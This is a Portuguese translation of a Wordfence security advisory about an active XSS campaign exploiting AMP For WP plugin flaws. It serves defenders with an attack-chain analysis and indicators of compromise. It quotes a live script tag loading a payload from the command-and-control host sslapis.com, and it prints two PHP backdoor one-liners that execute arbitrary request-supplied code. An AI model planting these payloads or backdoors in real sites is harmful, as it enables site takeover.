NotÃcias quebradas na semana passada revelaram uma série de vulnerabilidades no plugin AMP For WP , instalado em mais de 100.000 sites WordPress. O colaborador do WordPress, Sybre Waaijer, identificou o problema de segurança e o divulgou confidencialmente à equipe de plugins do WordPress. Para explorar a falha, um invasor precisa ter um mÃnimo de acesso em nÃvel de assinante em um site vulnerável.
A equipe do Wordfence identificou uma campanha XSS (cross-site scripting) que está explorando ativamente essa falha de segurança. No post abaixo, nós descrevemos esta sofisticada campanha de ataque em detalhes. É essencial que os proprietários de sites que usam o AMP WP atualizem a versão mais recente desse plug-in o mais rápido possÃvel. No momento da escrita, a versão mais recente do AMP For WP é a versão 0.9.97.20 .
O firewall do Wordfence tem uma nova regra que defende sites contra essa exploração. Essa regra foi lançada para clientes Premium Wordfence e estará disponÃvel para clientes gratuitos 30 dias após o lançamento. Além disso, o firewall do Wordfence tem uma regra genérica de XSS que está disponÃvel para clientes gratuitos e premium há mais de 2,5 anos, o que captura a maioria das explorações que visam essa vulnerabilidade.
Além disso, a equipe do Wordfence lançou assinaturas de malware em produção que detectam as cargas de malware que estão sendo depositadas nos servidores alvo desse ataque. Atualmente, eles estão em produção para clientes do Wordfence Premium .
O restante desta postagem documenta a campanha de ataque que nossa equipe identificou, que está explorando a recente vulnerabilidade descoberta no plugin AMP For WP. O restante deste post foi escrito para equipes de operações de segurança, desenvolvedores, fornecedores e outros defensores da rede. Ele descreve a cadeia de ataque e inclui IOCs (indicadores de comprometimento) que podem ser usados ​​para melhorar os produtos de segurança e proteger os firewalls e sistemas de detecção de intrusões contra essa ameaça.
A vulnerabilidade
Várias falhas de segurança individuais foram corrigidas na versão recente do plug-in. O ponto crucial da situação é uma falta geral de verificações de recursos associadas aos ganchos AJAX do plug-in. Um usuário precisa ter uma sessão de login ativa para fazer as chamadas necessárias para o plug-in e não importa quais permissões o usuário recebeu no site afetado.
O código acima de install/index.php itera sobre dados POST sem verificações de recursos.
As explorações ativas que identificamos estão aproveitando esse conjunto de falhas para modificar as próprias opções do plug-in armazenadas no banco de dados do WordPress.
Atacando o Admin
Os ataques mais comuns contra esse vetor tentam injetar a carga útil do XSS a seguir no conteúdo do site da vÃtima com o objetivo de afetar um administrador conectado:
<script src = https: //sslapis.com/assets/si/stat.js> </ script>
Se o navegador de um administrador executar o JavaScript mal-intencionado, ele gerará uma carga útil maior do seu servidor de comando e controle (C2) em sslapis.com. Esse script stat.js contém vários recursos notáveis.
A SendData() função acima notifica o servidor C2 de quaisquer ações executadas com sucesso pelo JavaScript malicioso
Uma área de preocupação é a processNewUser() função, que tenta seqüestrar a sessão do navegador do administrador afetado para registrar uma nova conta de administrador chamada supportuuser :
A processNewUser()função tenta usar um iframe oculto para executar o processo de registro do usuário.
Depois de criar um elemento de iframe oculto na página que está sendo visualizada pelo administrador afetado, o script simula o processo de preenchimento do formulário de novo usuário. Como parte desse processo, ele seleciona a função Administrador e envia um click() evento para o botão enviar para criar um novo usuário com acesso administrativo.
Além da criação de uma conta de administrador invasora, o script também tenta injetar código backdoor nos plug-ins do site afetado. Isso é feito de forma semelhante à criação do administrador acima, com um iframe oculto anexado ao conteúdo da página e usado para simular as interações de um administrador com as áreas de plug-in do painel.
A função definida acima é usada para injetar PHP malicioso nos plugins de um site.
Os backdoors do PHP injetados nos plugins de um site são os seguintes:
@array_diff_ukey(@array((string)@$_REQUEST[‘vqmode’]=>1), @array((string)stripslashes(@$_REQUEST[‘map’])=>2),@$_REQUEST[‘bootup’]);
@extract($_REQUEST);@die($cdate($adate));
Ambos os backdoors são formas efetivas de permitir que um invasor execute código PHP arbitrário em sites infectados, mesmo se a conta de administrador invasor mencionada acima for removida com sucesso.
C2 Server
O servidor de comando e controle (C2) desta campanha está atualmente localizado em sslapis.com. Este host serve a versão ao vivo da carga útil do JavaScript descrita acima, bem como um script usado para receber dados das sessões do navegador afetadas. O domÃnio em si foi registrado em 2 de novembro com a empresa ucraniana ukrnames.com , mas o servidor que hospeda o domÃnio existe há mais de um ano, tendo sido associado a um golpe de phishing da Apple há pouco mais de um ano.
Estilo de Codificação
Como você deve ter notado nas capturas de tela acima, o arquivo JavaScript hospedado no servidor C2 contém várias linhas comentadas aparentemente usadas durante o desenvolvimento pelo autor do malware para testar várias funções. Além disso, o JavaScript em si é excepcionalmente bem formatado em comparação com outros malwares, nos quais códigos “ofuscados” ou de outra forma ofuscados são a norma. Isso pode mudar a qualquer momento porque o script está hospedado no servidor do adversário.
Embora os ataques direcionados a essa vulnerabilidade sejam provenientes de uma variedade de endereços de origem, uma falha na execução desses ataques os torna facilmente rastreáveis. É comum que as plataformas de ataque falsifiquem a sequência do User-Agent de um navegador bem conhecido, em um esforço para tornar o tráfego combinado com a atividade de navegação normal. Neste caso, no entanto, a seqüência User-Agent contidas nesses pedidos maliciosos está quebrado: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv. Observe que, em sequências de User-Agent semelhantes, um número de versão segue “rv”. Isso sugere que o invasor pretendia girar ou alterar o número da versão na string programaticamente. Este User-Agent quebrado foi encontrado em todos os ataques associados a este adversário.
Indicadores de compromisso (IOCs) IPs de ataque mais prevalentes
181.215.147.23
193.112.161.204
219.145.170.23
192.169.198.104
193.112.65.16
46.101.156.232
193.112.91.155
218.92.252.230
208.109.53.224
41.139.45.78
DomÃnios de saÃda acessados
sslapis.com
Agentes de Usuários Associados
Mozilla / 5.0 (Windows NT 6.1; Win64; x64; rv
Indicadores de banco de dados
A presença de contas não autorizadas na tabela de usuários do seu site, incluindo, sem limitação, o seguinte exemplo:
supportuuser
A presença de qualquer JavaScript não intencionalmente introduzido em qualquer entrada wp_options associada ao plugin AMP For WP, que contém o amplificador de string no option_namecampo.
Conclusão
Essa campanha de malware é um exemplo do motivo pelo qual uma vulnerabilidade de XSS armazenada é um problema de alta prioridade. Quando um invasor é capaz de executar seu próprio JavaScript no navegador do administrador de um site, há várias técnicas que eles podem empregar para avançar ainda mais em um site. Embora o domÃnio C2 no caso deste ataque seja muito novo e ainda não tenha aparecido nas listas negras usadas por plug-ins de navegador populares como o uBlock Origin , os administradores de sites de missão crÃtica podem considerar o uso de um modelo não confiável por padrão com extensões de navegador NoScript .
Consideramos uma polÃtica de segurança de conteúdo (CSP) como possÃvel atenuação desse ataque, mas o invasor pode modificar a carga útil do XSS para ser uma versão sequencial do script carregado a partir do servidor sslapis C2.
Como sempre, a melhor defesa contra esses ataques é manter o software do seu site atualizado. AMP Para a correção de segurança do WP ficou disponÃvel por quase duas semanas antes desses ataques começarem, esperançosamente colocando um limite rÃgido na superfÃcie de ataque explorável dessa vulnerabilidade.
Para sites incapazes de atualizar, ou aqueles que não foram atualizados por qualquer outro motivo, uma regra foi adicionada ao firewall do Wordfence, impedindo esses ataques. Esta regra já está em vigor em todos os usuários Premium Wordfence , e será liberada para usuários do Free Wordfence após 30 dias. No entanto, a maioria das tentativas de explorar essa vulnerabilidade aciona uma regra de firewall pré-existente criada para bloquear cargas genéricas de XSS, e essa regra protege os usuários do Wordfence gratuitamente há mais de 2,5 anos. Nossa equipe também liberou assinaturas de malware em produção para detectar o malware sendo depositado em servidores direcionados a esse ataque.
Escrito por Mikey Veenstra com assistência de pesquisa de Stephen Rees-Carter, James Yokobosky e Matt Barry.
Fonte: WordFence
